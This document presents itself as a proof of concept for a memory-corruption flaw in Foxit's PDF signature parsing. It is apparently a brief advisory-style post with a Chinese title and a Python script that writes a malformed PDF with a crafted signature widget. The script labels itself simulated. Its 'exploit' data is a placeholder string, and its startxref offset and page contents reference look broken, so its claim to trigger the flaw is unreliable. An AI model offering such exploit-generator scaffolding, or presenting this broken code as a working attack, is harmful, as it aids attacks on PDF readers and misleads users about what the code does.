CVE-2026-5941 Foxit PDF签名解析内存破坏漏洞

import sys # This is a simulated PoC for CVE-2026-5941 # It demonstrates how to construct a malformed PDF structure # that triggers the parsing logic flaw in the signature verification. pdf_header = b"%PDF-1.7\n" obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" obj_3 = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >>\nendobj\n" obj_4 = b"4 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\nendobj\n" # Malformed Form Field Hierarchy to trigger the parsing flaw # The structure is manipulated to confuse the signature parser malformed_sig = b"5 0 obj\n<< /Type /Annot /Subtype /Widget /FT /Sig /V (MalformedDataTriggeringOverwrite) >>\nendobj\n" xref = b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000074 00000 n \n0000000131 00000 n \n0000000292 00000 n \n0000000373 00000 n \n" trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n" + str(len(pdf_header + obj_1 + obj_2 + obj_3 + obj_4 + malformed_sig + xref)).encode() + b"\n%%EOF" with open("cve_2026_5941_poc.pdf", "wb") as f: f.write(pdf_header + obj_1 + obj_2 + obj_3 + obj_4 + malformed_sig + xref + trailer) print("PoC file generated: cve_2026_5941_poc.pdf")